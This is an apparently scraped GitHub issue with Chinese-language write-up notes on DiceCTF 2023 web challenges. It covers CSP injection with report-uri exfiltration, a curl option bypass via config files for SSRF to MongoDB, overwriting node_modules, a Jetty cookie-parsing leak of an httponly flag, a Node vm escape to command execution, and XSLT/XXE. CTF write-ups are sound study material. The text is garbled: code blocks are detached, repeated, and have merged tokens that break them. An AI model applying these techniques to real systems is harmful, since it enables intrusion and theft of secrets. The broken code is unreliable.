You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
app.post("/api/ping",requiresLogin,(req,res)=>{let{ url }=req.body;if(!url||typeofurl!=="string"){returnres.json({success: false,message: "Invalid URL"});}try{letparsed=newURL(url);if(!["http:","https:"].includes(parsed.protocol))thrownewError("Invalid URL");}catch(e){returnres.json({success: false,message: e.message});}constargs=[url];let{ opt, data }=req.body;if(opt&&data&&typeofopt==="string"&&typeofdata==="string"){if(!/^-[A-Za-z]$/.test(opt)){returnres.json({success: false,message: "Invalid option"});}// if -d option or if GET / POST switchif(opt==="-d"||["GET","POST"].includes(data)){args.push(opt,data);}}cp.spawn('curl',args,{timeout: 2000,cwd: "/tmp"}).on('close',(code)=>{// TODO: save result to databaseres.json({success: true,message: `The site is ${code===0 ? 'up' : 'down'}`});});});
document.cookie=`note="a; path=//`;// use double slash path to get it to appear at start (longest path)document.cookie=`end=ok;"`;// last cookie (most recently updated)w=window.open('https://jnotes.mc.ax//')
就可以讓 flag 反映在頁面上,進而拿到 flag。
Web - gift (4 solves)
這題沒仔細看,賽後也還沒研究,只知道有個部分跟 ASI (Automatic Semicolon Insertion) 有關,你看起來是 A,但實際結果是 B,因為 JS 插入分號的機制所導致。
constexpress=require('express');constcookieParser=require('cookie-parser');constapp=express();app.use(cookieParser());app.get('/',(req,res)=>{// free xss, how hard could it be?res.end(req.query?.xss??'welcome to impossible-xss');});app.get('/flag',(req,res)=>{// flag in admin bot's FLAG cookieres.end(req.cookies?.FLAG??'dice{fakeflag}');});app.listen(8080);
雖然過了快兩個月,但還是來補一下筆記。去年被電得很慘,原本想說過一年了,今年應該會比較好吧,沒想到還是被電爛。
關鍵字:
開頭先貼一下官方的 repo,裡面有程式碼跟解答:https://github.com/dicegang/dicectf-2023-challenges
Web - codebox (30 solves)
這次唯一有解開的一題,還滿有趣的
後端很簡單,就一個會根據 code 的參數調整 CSP 的功能,可以達成 CSP injection:
而前端則是長這樣,會把你提供的 code 放到 sandbox iframe 裡面去:
這題有趣的點在於一開始你會以為它讓你可以改 CSP,是讓你用
sandbox
這個 CSP 規則去做一些事情,然後你就可以跳出 sandbox 之類的,但嘗試過後你會發現沒辦法。正解其實是用
require-trusted-types-for 'script';
來讓document.getElementById('flag').innerHTML = flag;
這段被擋下來,再搭配report-uri https://vps
來回報被擋下來的內容,就可以拿到 flag。還有另一個小地方是
frame.sandbox = '';
這段也是歸require-trusted-types-for
管,所以這段會先出錯,因此這段也要跳過。跳過的方法很簡單,前端的
searchParams.get()
如果你有多個 param,吃的會是第一個參數,而後端如果有多個會變成 array,所以傳?code=&code=payload
就可以讓前後端看到的內容不一樣,前端就會認為是空的,跳過那一段。Web - unfinished (14 solves)
這題的核心程式碼在這:
你可以傳入一個 URL 跟 option 來讓它執行 cURL,其中對於參數的檢查可以用 config 繞過,先用 -o 下載 config 並存到一個叫做
GET
的檔案,然後再用-K
來使用 config,像這樣:但這是最簡單的部分,最難的部分是 flag 存在 mongoDB 裡面,所以你要想辦法用 cURL 去 SSRF mongoDB。
喔對了,這題不能用 gopher,因為 gopher 被禁用了。
比賽的時候沒想到怎麼弄,弄不出來,賽後看了其他人的解法,可以用
telnet
來做(source: https://discord.com/channels/805956008665022475/805962699246534677/1071901986338897982):然後還有一個非預期解,就是用 cURL 下載檔案蓋掉 node_modules 裡的東西,這樣 server 再次啟動時就會載入你寫的 JS,然後就輕鬆拿到 flag 了。
Web - jnotes (6 solves)
這題是一個 Java web:
雖然說你有個 free XSS,但是 cookie 是 httponly 的,所以你也讀不到。
解法是利用 jetty 奇怪的 cookie parse 行為,如果 cookie 的內容有
"
,那它會讀到下一個"
為止。例如說如果有三個 cookie:
送出的 header 是:
note="a; flag=dice{flag}; end=b"
,最後會被 parse 成一個note
的 cookie,而不是預期的三個 cookie。所以重點就是創造出這些 cookie 然後讓瀏覽器用我們想要的順序送出。
Chrome 送 cookie 的順序是 path 最長的先,再來是最近更新的,因此只要這樣就好:
就可以讓 flag 反映在頁面上,進而拿到 flag。
Web - gift (4 solves)
這題沒仔細看,賽後也還沒研究,只知道有個部分跟 ASI (Automatic Semicolon Insertion) 有關,你看起來是 A,但實際結果是 B,因為 JS 插入分號的機制所導致。
以前也有過類似的題目,滿有趣的,但如果只用肉眼看確實滿難看出來,看來我要再練練了。
Web - jwtjail (3 solves)
這題真是飲恨啊,該找的都找了,lib 的原始碼我也看過好幾遍了,最後還是沒有做出來,差一點。
程式碼長這樣:
靠著 vm 把你丟進去的 data 放在另一個 context,然後呼叫 jwt lib,因此目的就是在 jwt lib 處理的過程中找到可以 escape 的地方。
而解法是我們可以幫一個 function 加上 proxy,如果呼叫到 function,就會先呼叫到 proxy 的 apply
而這個 apply 的第三個參數
argumentsList
是來自外界的 object,就可以靠著這個參數來逃出 VM。除此之外,雖然
process.mainModule
被刪掉了,但可以用process.binding("spawn_sync")
來達成執行程式碼。一個簡單的 PoC 像這樣:
而賽後的 Discord 討論裡面,也有人提到可以利用雙重 proxy 達成「只要存取 object 的值就可以 escape」,像這樣:
作者 writeup:https://brycec.me/posts/dicectf_2023_challenges
Web - impossible XSS (0 solves)
這題很酷,程式碼很簡單:
你有一個 free xss,但是在 admin bot 裡面有一行
await page.setJavaScriptEnabled(false);
,直接把 JS 關掉。解法是用 XSLT 加上 XXE,像這樣:
作者的 writeup:https://blog.ankursundara.com/dicectf23-writeups/
The text was updated successfully, but these errors were encountered: